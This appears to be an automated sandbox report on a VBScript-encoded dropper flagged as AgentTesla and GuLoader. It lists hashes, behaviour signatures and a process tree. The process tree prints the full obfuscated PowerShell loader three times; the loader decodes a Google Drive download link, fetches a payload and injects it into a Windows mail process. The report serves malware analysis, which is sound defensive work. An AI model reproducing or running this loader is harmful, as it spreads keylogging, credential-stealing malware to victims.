Overview

overview

10

Static

static

1

ee2dea0f53...57.vbe

windows7-x64

10

ee2dea0f53...57.vbe

windows10-2004-x64

10

Analysis

  • max time kernel
    144s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-09-2024 01:55

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ee2dea0f5362f6a3410bc8c9f199c740aee91971498aa77ffaf7eb546da7c957.vbe

  • Size

    15KB

  • MD5

    59743d96ff1e3796e18c6114bccadcf4

  • SHA1

    524a31d5c9d8f25148024aae2cc1e28a8d83a1da

  • SHA256

    ee2dea0f5362f6a3410bc8c9f199c740aee91971498aa77ffaf7eb546da7c957

  • SHA512

    916ad151f03a72e105c5f2afcdf3ae1ef952d37b069045c2418c050a5d79907ac1e4d32c4b0b0f9ce1d6a0f0d99477fdc8a77b89e717ca7f270919051c3d617f

  • SSDEEP

    384:QMVQ3GOmBsxCns4avBwx9ZzEC4FGJujI+PH:K39cs8sQnQC4Tjhf

Score
10/10
agentteslaguloaderdiscoverydownloaderexecutionkeyloggerspywarestealertrojan

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

    keyloggertrojanstealerspywareagenttesla
  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

    downloaderguloader
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ee2dea0f5362f6a3410bc8c9f199c740aee91971498aa77ffaf7eb546da7c957.vbe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3248
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Udvikle Alderstillgget Oxyaphia Tretrinsraketters Unrepellable #>;$Unhusbandly128='Lgelfters224';<#Cardioid Tautophony Rytterskolers #>;$Slimsvampenendregnede=$host.PrivateData;If ($Slimsvampenendregnede) {$Ecuador++;}function Unencompassed170($hireable){$Sprrerne=$hireable.Length-$Ecuador;for( $Slimsvampene=4;$Slimsvampene -lt $Sprrerne;$Slimsvampene+=5){$Nonconjugality+=$hireable[$Slimsvampene];}$Nonconjugality;}function massively($Flyvermekaniker){ & ($Overproduced) ($Flyvermekaniker);}$Sprdstegte=Unencompassed170 'MelaMPensoTonnz U ciS ndlSkr lMateaUns /Res 5fo,h. B,g0,idd Isoh( nemWPlini UntnGar.dParto,apow.remsGlob FumbNVi.tTPill Fra 1 bom0Skib. J,c0Gasb;Stan ImplWNozziC.man ogs6 ks4 Til;Pter InspxUnex6Res 4.oek;Alat V drInduvMorg: Com1Te n2 ses1Tbru.Inap0Coag)Ryg SlavGPraneAveccDimikDorsoPryg/ Arb2Myoc0Vaeg1 Gab0Dove0Gi c1Arve0di.k1Nihi P.llF KapiApacr,vrmeB.vofInfaoTaksxClub/Hov 1 B.l2 Ath1Mora.Soli0 ,ry ';$Regeringsmagternes=Unencompassed170 'TrolUPavesBe rEPersRKurs-HjemA KlaGzygoE G unRu.dTU,ky ';$Haremets=Unencompassed170 'Justh KistInfotJermpD sts,egr: fr./ ing/Klodd D irEli i F iv Reje Oli.Eighg .rooKompo ArbgUnfelSubsel dy.UniacSprooHandmmuco/,rapuScatcFors?MateeBigbxk mip Slao Perr FritResi=Evand oro wirwLangn ReclRmebo P,aaBra d Uns&BestiSta d,ere=Udst1ScroENeute iseNEng,CAppaLCr sSYout8BundelimnWStaahkant3Tido0 .oeqLiqu2 OutEPresGEngl5beav4Oeno6Teac3,steQBru.Kbullq K poKidaXTilbxGejsDB,adbXyloO S ipKur.ADatacFort ';$Dumper=Unencompassed170 'derb>Imid ';$Overproduced=Unencompassed170 'heliiPolyeNondxI pa ';$Cremationist='Gennemkomponeret';$Efterlignelsernes = Unencompassed170 'TraneKok,cLar hBoomoKl,n Stok%.onaa,linpReckpDustdStana FaatBiocaapp,%Caus\PolyUOvernK.utfJokka,eltsEv.ucCar i D faChaet edePl sdJv h.SoutHRa.do Be.lRupp Skot& ens&Dame AllieprojcCubihCenooindi au,atE tu ';massively (Unencompassed170 'Sup $Hygig osalTopso Rekb Byga Osmlvk,t:SkueIVi.enEmasktimal Anvu FradDewoeBsnirPseui Ti nH,lmg BamsSejl=Krav(Vandc Be mEyold ho Foro/ RepcC dm Jyde$AnmeEsy kf Udtt SubeescrrFirmlGruniTracg ternAme,e A.olRembsMo.te St r.eurnSgene Au sXylo)tegn ');massively (Unencompassed170 'Wine$SouggZooll T koDendbDarwaprovl rin:w.teSVar e Afsl lopfElita Po.dSletjUniqoOrdai,kudn PsytWart=dana$ tipH Mawa MinrGveneAfbrm Asie istganosBifa.Befos Finp aalFucoiVasktKlar( ais$ arcDFodbu SammAfmap W re RecrSo i) nke ');massively (Unencompassed170 ' For[at aN sv.e inct Jos. S.mSProde henr F,gvNonsiFratc piueStroPRateonot,iphthnFiskt Re McotmaSkovn Stra S,rgInvaeHothrenth] Unr:K im:LogiSArase.atic ForuFor.r Anfi Mu tDyndyMe,aPflugrp.stoLsr t orsoPanhcDouboEremlelf Auth= ver Su e[ForsN Se e AnatLive.SoulSIncoeNonfcBemiu unnrSydai unetGithyS efPco.rr brso Ar t SynoS isc BonoBleplStanTAs ryOrnipA bae edr],uav:Mili:synbT WeslPolis Rek1H re2Vigi ');$Haremets=$Selfadjoint[0];$Gonystylaceae= (Unencompassed170 ' Pla$Fa bGorycLFiduOTilkB eelAVe,fL Bir:UnfrrBloce.tagg PonI,phiOD tmNU liAGaulL OctPDuciLFarvASinanG wdLTommG FejNFlseiReb NOxyrG KomS Eur=AlgonBegrE BomWOli -Thioo ,ntbKrreJ TureSta,cWhirTJo r PsorSPe,syUncisSkaktPaasETomeMR,fu. Mu.nRaphE TriT Soi. Gr,w BorECravb isuc KomL acei LecEGll,nAntiT');$Gonystylaceae+=$Inkluderings[1];massively ($Gonystylaceae);massively (Unencompassed170 'T ls$Ba dRIndfeLancg ge,iIsodoAlabnsostatraplFabrpN,vilkontaSteenBranlHapsgLutsnBonhiBa snPo tgDej sOf.e. InsHGarde Ufoa abdUdtoeReflrArbesTr k[Dben$GildRAfsleCrumgTil eCussrTekkiFestnGaffgPrebs AmbmTilkaParagU det ForeCrewrIritnSpeceUndesknog]Live=Inta$GravSafskp UnirTorud Scas Phot DiseToilgKatttBvlee Eso ');$Lurks=Unencompassed170 'Va,r$r spRLokae h vgTempiLii oUig nRorsa rikllabappsyklblybaPeran eol EucgP ranSkrni AffnBroogvi,cs ni. SulDUntaoBondwUndenStorl oloo Ho a estdIrreFMoskiStenl,leue Sig(Weig$SociH HypaHa.erAtomeDes mRubieS mlt Di sMidd,Selv$IncuMRandn Bu.dForbs ge)Isom ';$Mnds=$Inkluderings[0];massively (Unencompassed170 'Kain$ColeGWhicL TraoBarab EngA IdeL rai:StryS,upev HalRForbGGaneeRadi=Mags(BelltO,erESptmS UunTD se-Me.hpAsf.ALandtDepoHPol. Hypo$Bangm a.pNMetaDBepeS ili)Tops ');while (!$svrge) {massively (Unencompassed170 'Safr$BlodgP.thlSu eoBylabCardaYve lHay :OperS estr odmStadr Frek ngeInddrFalbnNepheSublsDril=Haar$AcrotAfbjr foruStvle F r ') ;massively $Lurks;massively (Unencompassed170 'ConsSPri t Briacamer SuptRu.b-Kno,S KomlG,skePa keSa,cpUkva Af.e4Remb ');massively (Unencompassed170 'Creb$Tee g DenlTreaoEli bspecaBli.lExse: MnssResmvLikvrTheogRepae nde= Re.(T ngTSemie chs dbat eut-br nPP,cka SpotIndehAtta .ynd$ nteM,ukknVen,dRevis Ske)Enkl ') ;massively (Unencompassed170 'unen$Un og.ynalmidgo Wicb.opyaBenzlbuck:PoodBBr sl ForaHalsdSativ Fjle,roorMis.dAndeeFamin OvesFrem= Ud,$indigUnful PenoSmaabVej aJebllInco:kla PgloruRisonNighkFyritLorekS,mmoUndimForum ConasaninRef dSndroF.leeNonvnEncosDich+ Mum+Resu% Hre$.iliSStuke t sl Bolf TeraT etdPo ajU.shoRockim,can antGrnt.In,sc Vido reouUskynPerttKlas ') ;$Haremets=$Selfadjoint[$Bladverdens];}$Phonopore=333284;$Udviklingsforlbene=27788;massively (Unencompassed170 'Feri$ PengUnsplPlymo .odbqui a AmplLben:To.sVS,ivi,ppll DebdUredtdobbjM,ljaGuldg,ruitRepr K.ni=Cau. ChalGEquieBesmtGlos-AsteC GjfoAmaln aktUnseePausn P.atE,el Svie$F rfM ensnGraadDe csElse ');massively (Unencompassed170 'snow$ TecgBurbl AbroHumibPreaaBorglC rp:TorsWFirsoKaprvP olenoncn tje Jeh=Ch c R.si[ tueSS umyFrsts Pent kteeSubtm uns.DrvtCAgg oRegunFjelvBl,ne sparCr ntPhot] Yut:Exho:PeelF JoerLvsaoHanemOverB Veda AflsEig eFord6sirp4fundS eictIndur xyqiHeftnUdstg Hex( G,u$He mVCirciTranlUdstdRipptRes,jForpaStatg nontNomi)Anes ');massively (Unencompassed170 ' Kap$ mydgLkkelClitoLumpbTroca SymlBrdf: ParNs ato Teln ladBa deStormgl.saSupenFangdKnigiTheon Oveg.iar Semi=Saba Fram[PaisSSk,tyIn osSu,et mpoeDuodm Ant. pomTRa ie Hebx Tilt er.C piE PlanBa nci loounpadS.geiS,xunxylogNull]J.nn:Beta:.lkeASt nSheteCpoliI amIRumo.Sp.nGDem e Bast PlaSUndmtD,sarVerdi BilnOp fgBark(A,om$PaisWMissoP euvDelrenysan Ti )Yett ');massively (Unencompassed170 ' erk$ThomgWivelbagmoTyrabMas aSjlelDecu: BliTCe av ChaaProln Deag LarsIndofrigsoKandr DidaGo dn ThysEvertStraa UnilChiltAfdenEcsti.lavnDiseg FersDoig=Cern$MellN StaoSpilnTusidOotseF,ilmCa,paBettnChird TeliH ndnS rigUdbi. lusP,atuO erbF its Spit kulrBesniForenLynggAf i( ag$ TabPPharhWanto indnschwoF.repLyseoOsterSurseMakr,Ud,y$ObsoU InsdCentv retiVicekTit lFr pi Ma nStikgY.misActlfRecuoTranrTrollBashb Ci e Su,n RubeTwib)Hver ');massively $Tvangsforanstaltnings;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:684
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Unfasciated.Hol && echo t"
        3⤵
          PID:2200
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Udvikle Alderstillgget Oxyaphia Tretrinsraketters Unrepellable #>;$Unhusbandly128='Lgelfters224';<#Cardioid Tautophony Rytterskolers #>;$Slimsvampenendregnede=$host.PrivateData;If ($Slimsvampenendregnede) {$Ecuador++;}function Unencompassed170($hireable){$Sprrerne=$hireable.Length-$Ecuador;for( $Slimsvampene=4;$Slimsvampene -lt $Sprrerne;$Slimsvampene+=5){$Nonconjugality+=$hireable[$Slimsvampene];}$Nonconjugality;}function massively($Flyvermekaniker){ & ($Overproduced) ($Flyvermekaniker);}$Sprdstegte=Unencompassed170 'MelaMPensoTonnz U ciS ndlSkr lMateaUns /Res 5fo,h. B,g0,idd Isoh( nemWPlini UntnGar.dParto,apow.remsGlob FumbNVi.tTPill Fra 1 bom0Skib. J,c0Gasb;Stan ImplWNozziC.man ogs6 ks4 Til;Pter InspxUnex6Res 4.oek;Alat V drInduvMorg: Com1Te n2 ses1Tbru.Inap0Coag)Ryg SlavGPraneAveccDimikDorsoPryg/ Arb2Myoc0Vaeg1 Gab0Dove0Gi c1Arve0di.k1Nihi P.llF KapiApacr,vrmeB.vofInfaoTaksxClub/Hov 1 B.l2 Ath1Mora.Soli0 ,ry ';$Regeringsmagternes=Unencompassed170 'TrolUPavesBe rEPersRKurs-HjemA KlaGzygoE G unRu.dTU,ky ';$Haremets=Unencompassed170 'Justh KistInfotJermpD sts,egr: fr./ ing/Klodd D irEli i F iv Reje Oli.Eighg .rooKompo ArbgUnfelSubsel dy.UniacSprooHandmmuco/,rapuScatcFors?MateeBigbxk mip Slao Perr FritResi=Evand oro wirwLangn ReclRmebo P,aaBra d Uns&BestiSta d,ere=Udst1ScroENeute iseNEng,CAppaLCr sSYout8BundelimnWStaahkant3Tido0 .oeqLiqu2 OutEPresGEngl5beav4Oeno6Teac3,steQBru.Kbullq K poKidaXTilbxGejsDB,adbXyloO S ipKur.ADatacFort ';$Dumper=Unencompassed170 'derb>Imid ';$Overproduced=Unencompassed170 'heliiPolyeNondxI pa ';$Cremationist='Gennemkomponeret';$Efterlignelsernes = Unencompassed170 'TraneKok,cLar hBoomoKl,n Stok%.onaa,linpReckpDustdStana FaatBiocaapp,%Caus\PolyUOvernK.utfJokka,eltsEv.ucCar i D faChaet edePl sdJv h.SoutHRa.do Be.lRupp Skot& ens&Dame AllieprojcCubihCenooindi au,atE tu ';massively (Unencompassed170 'Sup $Hygig osalTopso Rekb Byga Osmlvk,t:SkueIVi.enEmasktimal Anvu FradDewoeBsnirPseui Ti nH,lmg BamsSejl=Krav(Vandc Be mEyold ho Foro/ RepcC dm Jyde$AnmeEsy kf Udtt SubeescrrFirmlGruniTracg ternAme,e A.olRembsMo.te St r.eurnSgene Au sXylo)tegn ');massively (Unencompassed170 'Wine$SouggZooll T koDendbDarwaprovl rin:w.teSVar e Afsl lopfElita Po.dSletjUniqoOrdai,kudn PsytWart=dana$ tipH Mawa MinrGveneAfbrm Asie istganosBifa.Befos Finp aalFucoiVasktKlar( ais$ arcDFodbu SammAfmap W re RecrSo i) nke ');massively (Unencompassed170 ' For[at aN sv.e inct Jos. S.mSProde henr F,gvNonsiFratc piueStroPRateonot,iphthnFiskt Re McotmaSkovn Stra S,rgInvaeHothrenth] Unr:K im:LogiSArase.atic ForuFor.r Anfi Mu tDyndyMe,aPflugrp.stoLsr t orsoPanhcDouboEremlelf Auth= ver Su e[ForsN Se e AnatLive.SoulSIncoeNonfcBemiu unnrSydai unetGithyS efPco.rr brso Ar t SynoS isc BonoBleplStanTAs ryOrnipA bae edr],uav:Mili:synbT WeslPolis Rek1H re2Vigi ');$Haremets=$Selfadjoint[0];$Gonystylaceae= (Unencompassed170 ' Pla$Fa bGorycLFiduOTilkB eelAVe,fL Bir:UnfrrBloce.tagg PonI,phiOD tmNU liAGaulL OctPDuciLFarvASinanG wdLTommG FejNFlseiReb NOxyrG KomS Eur=AlgonBegrE BomWOli -Thioo ,ntbKrreJ TureSta,cWhirTJo r PsorSPe,syUncisSkaktPaasETomeMR,fu. Mu.nRaphE TriT Soi. Gr,w BorECravb isuc KomL acei LecEGll,nAntiT');$Gonystylaceae+=$Inkluderings[1];massively ($Gonystylaceae);massively (Unencompassed170 'T ls$Ba dRIndfeLancg ge,iIsodoAlabnsostatraplFabrpN,vilkontaSteenBranlHapsgLutsnBonhiBa snPo tgDej sOf.e. InsHGarde Ufoa abdUdtoeReflrArbesTr k[Dben$GildRAfsleCrumgTil eCussrTekkiFestnGaffgPrebs AmbmTilkaParagU det ForeCrewrIritnSpeceUndesknog]Live=Inta$GravSafskp UnirTorud Scas Phot DiseToilgKatttBvlee Eso ');$Lurks=Unencompassed170 'Va,r$r spRLokae h vgTempiLii oUig nRorsa rikllabappsyklblybaPeran eol EucgP ranSkrni AffnBroogvi,cs ni. SulDUntaoBondwUndenStorl oloo Ho a estdIrreFMoskiStenl,leue Sig(Weig$SociH HypaHa.erAtomeDes mRubieS mlt Di sMidd,Selv$IncuMRandn Bu.dForbs ge)Isom ';$Mnds=$Inkluderings[0];massively (Unencompassed170 'Kain$ColeGWhicL TraoBarab EngA IdeL rai:StryS,upev HalRForbGGaneeRadi=Mags(BelltO,erESptmS UunTD se-Me.hpAsf.ALandtDepoHPol. Hypo$Bangm a.pNMetaDBepeS ili)Tops ');while (!$svrge) {massively (Unencompassed170 'Safr$BlodgP.thlSu eoBylabCardaYve lHay :OperS estr odmStadr Frek ngeInddrFalbnNepheSublsDril=Haar$AcrotAfbjr foruStvle F r ') ;massively $Lurks;massively (Unencompassed170 'ConsSPri t Briacamer SuptRu.b-Kno,S KomlG,skePa keSa,cpUkva Af.e4Remb ');massively (Unencompassed170 'Creb$Tee g DenlTreaoEli bspecaBli.lExse: MnssResmvLikvrTheogRepae nde= Re.(T ngTSemie chs dbat eut-br nPP,cka SpotIndehAtta .ynd$ nteM,ukknVen,dRevis Ske)Enkl ') ;massively (Unencompassed170 'unen$Un og.ynalmidgo Wicb.opyaBenzlbuck:PoodBBr sl ForaHalsdSativ Fjle,roorMis.dAndeeFamin OvesFrem= Ud,$indigUnful PenoSmaabVej aJebllInco:kla PgloruRisonNighkFyritLorekS,mmoUndimForum ConasaninRef dSndroF.leeNonvnEncosDich+ Mum+Resu% Hre$.iliSStuke t sl Bolf TeraT etdPo ajU.shoRockim,can antGrnt.In,sc Vido reouUskynPerttKlas ') ;$Haremets=$Selfadjoint[$Bladverdens];}$Phonopore=333284;$Udviklingsforlbene=27788;massively (Unencompassed170 'Feri$ PengUnsplPlymo .odbqui a AmplLben:To.sVS,ivi,ppll DebdUredtdobbjM,ljaGuldg,ruitRepr K.ni=Cau. ChalGEquieBesmtGlos-AsteC GjfoAmaln aktUnseePausn P.atE,el Svie$F rfM ensnGraadDe csElse ');massively (Unencompassed170 'snow$ TecgBurbl AbroHumibPreaaBorglC rp:TorsWFirsoKaprvP olenoncn tje Jeh=Ch c R.si[ tueSS umyFrsts Pent kteeSubtm uns.DrvtCAgg oRegunFjelvBl,ne sparCr ntPhot] Yut:Exho:PeelF JoerLvsaoHanemOverB Veda AflsEig eFord6sirp4fundS eictIndur xyqiHeftnUdstg Hex( G,u$He mVCirciTranlUdstdRipptRes,jForpaStatg nontNomi)Anes ');massively (Unencompassed170 ' Kap$ mydgLkkelClitoLumpbTroca SymlBrdf: ParNs ato Teln ladBa deStormgl.saSupenFangdKnigiTheon Oveg.iar Semi=Saba Fram[PaisSSk,tyIn osSu,et mpoeDuodm Ant. pomTRa ie Hebx Tilt er.C piE PlanBa nci loounpadS.geiS,xunxylogNull]J.nn:Beta:.lkeASt nSheteCpoliI amIRumo.Sp.nGDem e Bast PlaSUndmtD,sarVerdi BilnOp fgBark(A,om$PaisWMissoP euvDelrenysan Ti )Yett ');massively (Unencompassed170 ' erk$ThomgWivelbagmoTyrabMas aSjlelDecu: BliTCe av ChaaProln Deag LarsIndofrigsoKandr DidaGo dn ThysEvertStraa UnilChiltAfdenEcsti.lavnDiseg FersDoig=Cern$MellN StaoSpilnTusidOotseF,ilmCa,paBettnChird TeliH ndnS rigUdbi. lusP,atuO erbF its Spit kulrBesniForenLynggAf i( ag$ TabPPharhWanto indnschwoF.repLyseoOsterSurseMakr,Ud,y$ObsoU InsdCentv retiVicekTit lFr pi Ma nStikgY.misActlfRecuoTranrTrollBashb Ci e Su,n RubeTwib)Hver ');massively $Tvangsforanstaltnings;"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1404
          • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Udvikle Alderstillgget Oxyaphia Tretrinsraketters Unrepellable #>;$Unhusbandly128='Lgelfters224';<#Cardioid Tautophony Rytterskolers #>;$Slimsvampenendregnede=$host.PrivateData;If ($Slimsvampenendregnede) {$Ecuador++;}function Unencompassed170($hireable){$Sprrerne=$hireable.Length-$Ecuador;for( $Slimsvampene=4;$Slimsvampene -lt $Sprrerne;$Slimsvampene+=5){$Nonconjugality+=$hireable[$Slimsvampene];}$Nonconjugality;}function massively($Flyvermekaniker){ & ($Overproduced) ($Flyvermekaniker);}$Sprdstegte=Unencompassed170 'MelaMPensoTonnz U ciS ndlSkr lMateaUns /Res 5fo,h. B,g0,idd Isoh( nemWPlini UntnGar.dParto,apow.remsGlob FumbNVi.tTPill Fra 1 bom0Skib. J,c0Gasb;Stan ImplWNozziC.man ogs6 ks4 Til;Pter InspxUnex6Res 4.oek;Alat V drInduvMorg: Com1Te n2 ses1Tbru.Inap0Coag)Ryg SlavGPraneAveccDimikDorsoPryg/ Arb2Myoc0Vaeg1 Gab0Dove0Gi c1Arve0di.k1Nihi P.llF KapiApacr,vrmeB.vofInfaoTaksxClub/Hov 1 B.l2 Ath1Mora.Soli0 ,ry ';$Regeringsmagternes=Unencompassed170 'TrolUPavesBe rEPersRKurs-HjemA KlaGzygoE G unRu.dTU,ky ';$Haremets=Unencompassed170 'Justh KistInfotJermpD sts,egr: fr./ ing/Klodd D irEli i F iv Reje Oli.Eighg .rooKompo ArbgUnfelSubsel dy.UniacSprooHandmmuco/,rapuScatcFors?MateeBigbxk mip Slao Perr FritResi=Evand oro wirwLangn ReclRmebo P,aaBra d Uns&BestiSta d,ere=Udst1ScroENeute iseNEng,CAppaLCr sSYout8BundelimnWStaahkant3Tido0 .oeqLiqu2 OutEPresGEngl5beav4Oeno6Teac3,steQBru.Kbullq K poKidaXTilbxGejsDB,adbXyloO S ipKur.ADatacFort ';$Dumper=Unencompassed170 'derb>Imid ';$Overproduced=Unencompassed170 'heliiPolyeNondxI pa ';$Cremationist='Gennemkomponeret';$Efterlignelsernes = Unencompassed170 'TraneKok,cLar hBoomoKl,n Stok%.onaa,linpReckpDustdStana FaatBiocaapp,%Caus\PolyUOvernK.utfJokka,eltsEv.ucCar i D faChaet edePl sdJv h.SoutHRa.do Be.lRupp Skot& ens&Dame AllieprojcCubihCenooindi au,atE tu ';massively (Unencompassed170 'Sup $Hygig osalTopso Rekb Byga Osmlvk,t:SkueIVi.enEmasktimal Anvu FradDewoeBsnirPseui Ti nH,lmg BamsSejl=Krav(Vandc Be mEyold ho Foro/ RepcC dm Jyde$AnmeEsy kf Udtt SubeescrrFirmlGruniTracg ternAme,e A.olRembsMo.te St r.eurnSgene Au sXylo)tegn ');massively (Unencompassed170 'Wine$SouggZooll T koDendbDarwaprovl rin:w.teSVar e Afsl lopfElita Po.dSletjUniqoOrdai,kudn PsytWart=dana$ tipH Mawa MinrGveneAfbrm Asie istganosBifa.Befos Finp aalFucoiVasktKlar( ais$ arcDFodbu SammAfmap W re RecrSo i) nke ');massively (Unencompassed170 ' For[at aN sv.e inct Jos. S.mSProde henr F,gvNonsiFratc piueStroPRateonot,iphthnFiskt Re McotmaSkovn Stra S,rgInvaeHothrenth] Unr:K im:LogiSArase.atic ForuFor.r Anfi Mu tDyndyMe,aPflugrp.stoLsr t orsoPanhcDouboEremlelf Auth= ver Su e[ForsN Se e AnatLive.SoulSIncoeNonfcBemiu unnrSydai unetGithyS efPco.rr brso Ar t SynoS isc BonoBleplStanTAs ryOrnipA bae edr],uav:Mili:synbT WeslPolis Rek1H re2Vigi ');$Haremets=$Selfadjoint[0];$Gonystylaceae= (Unencompassed170 ' Pla$Fa bGorycLFiduOTilkB eelAVe,fL Bir:UnfrrBloce.tagg PonI,phiOD tmNU liAGaulL OctPDuciLFarvASinanG wdLTommG FejNFlseiReb NOxyrG KomS Eur=AlgonBegrE BomWOli -Thioo ,ntbKrreJ TureSta,cWhirTJo r PsorSPe,syUncisSkaktPaasETomeMR,fu. Mu.nRaphE TriT Soi. Gr,w BorECravb isuc KomL acei LecEGll,nAntiT');$Gonystylaceae+=$Inkluderings[1];massively ($Gonystylaceae);massively (Unencompassed170 'T ls$Ba dRIndfeLancg ge,iIsodoAlabnsostatraplFabrpN,vilkontaSteenBranlHapsgLutsnBonhiBa snPo tgDej sOf.e. InsHGarde Ufoa abdUdtoeReflrArbesTr k[Dben$GildRAfsleCrumgTil eCussrTekkiFestnGaffgPrebs AmbmTilkaParagU det ForeCrewrIritnSpeceUndesknog]Live=Inta$GravSafskp UnirTorud Scas Phot DiseToilgKatttBvlee Eso ');$Lurks=Unencompassed170 'Va,r$r spRLokae h vgTempiLii oUig nRorsa rikllabappsyklblybaPeran eol EucgP ranSkrni AffnBroogvi,cs ni. SulDUntaoBondwUndenStorl oloo Ho a estdIrreFMoskiStenl,leue Sig(Weig$SociH HypaHa.erAtomeDes mRubieS mlt Di sMidd,Selv$IncuMRandn Bu.dForbs ge)Isom ';$Mnds=$Inkluderings[0];massively (Unencompassed170 'Kain$ColeGWhicL TraoBarab EngA IdeL rai:StryS,upev HalRForbGGaneeRadi=Mags(BelltO,erESptmS UunTD se-Me.hpAsf.ALandtDepoHPol. Hypo$Bangm a.pNMetaDBepeS ili)Tops ');while (!$svrge) {massively (Unencompassed170 'Safr$BlodgP.thlSu eoBylabCardaYve lHay :OperS estr odmStadr Frek ngeInddrFalbnNepheSublsDril=Haar$AcrotAfbjr foruStvle F r ') ;massively $Lurks;massively (Unencompassed170 'ConsSPri t Briacamer SuptRu.b-Kno,S KomlG,skePa keSa,cpUkva Af.e4Remb ');massively (Unencompassed170 'Creb$Tee g DenlTreaoEli bspecaBli.lExse: MnssResmvLikvrTheogRepae nde= Re.(T ngTSemie chs dbat eut-br nPP,cka SpotIndehAtta .ynd$ nteM,ukknVen,dRevis Ske)Enkl ') ;massively (Unencompassed170 'unen$Un og.ynalmidgo Wicb.opyaBenzlbuck:PoodBBr sl ForaHalsdSativ Fjle,roorMis.dAndeeFamin OvesFrem= Ud,$indigUnful PenoSmaabVej aJebllInco:kla PgloruRisonNighkFyritLorekS,mmoUndimForum ConasaninRef dSndroF.leeNonvnEncosDich+ Mum+Resu% Hre$.iliSStuke t sl Bolf TeraT etdPo ajU.shoRockim,can antGrnt.In,sc Vido reouUskynPerttKlas ') ;$Haremets=$Selfadjoint[$Bladverdens];}$Phonopore=333284;$Udviklingsforlbene=27788;massively (Unencompassed170 'Feri$ PengUnsplPlymo .odbqui a AmplLben:To.sVS,ivi,ppll DebdUredtdobbjM,ljaGuldg,ruitRepr K.ni=Cau. ChalGEquieBesmtGlos-AsteC GjfoAmaln aktUnseePausn P.atE,el Svie$F rfM ensnGraadDe csElse ');massively (Unencompassed170 'snow$ TecgBurbl AbroHumibPreaaBorglC rp:TorsWFirsoKaprvP olenoncn tje Jeh=Ch c R.si[ tueSS umyFrsts Pent kteeSubtm uns.DrvtCAgg oRegunFjelvBl,ne sparCr ntPhot] Yut:Exho:PeelF JoerLvsaoHanemOverB Veda AflsEig eFord6sirp4fundS eictIndur xyqiHeftnUdstg Hex( G,u$He mVCirciTranlUdstdRipptRes,jForpaStatg nontNomi)Anes ');massively (Unencompassed170 ' Kap$ mydgLkkelClitoLumpbTroca SymlBrdf: ParNs ato Teln ladBa deStormgl.saSupenFangdKnigiTheon Oveg.iar Semi=Saba Fram[PaisSSk,tyIn osSu,et mpoeDuodm Ant. pomTRa ie Hebx Tilt er.C piE PlanBa nci loounpadS.geiS,xunxylogNull]J.nn:Beta:.lkeASt nSheteCpoliI amIRumo.Sp.nGDem e Bast PlaSUndmtD,sarVerdi BilnOp fgBark(A,om$PaisWMissoP euvDelrenysan Ti )Yett ');massively (Unencompassed170 ' erk$ThomgWivelbagmoTyrabMas aSjlelDecu: BliTCe av ChaaProln Deag LarsIndofrigsoKandr DidaGo dn ThysEvertStraa UnilChiltAfdenEcsti.lavnDiseg FersDoig=Cern$MellN StaoSpilnTusidOotseF,ilmCa,paBettnChird TeliH ndnS rigUdbi. lusP,atuO erbF its Spit kulrBesniForenLynggAf i( ag$ TabPPharhWanto indnschwoF.repLyseoOsterSurseMakr,Ud,y$ObsoU InsdCentv retiVicekTit lFr pi Ma nStikgY.misActlfRecuoTranrTrollBashb Ci e Su,n RubeTwib)Hver ');massively $Tvangsforanstaltnings;"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2388
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Unfasciated.Hol && echo t"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2576
            • C:\Program Files (x86)\windows mail\wabmig.exe
              "C:\Program Files (x86)\windows mail\wabmig.exe"
              5⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
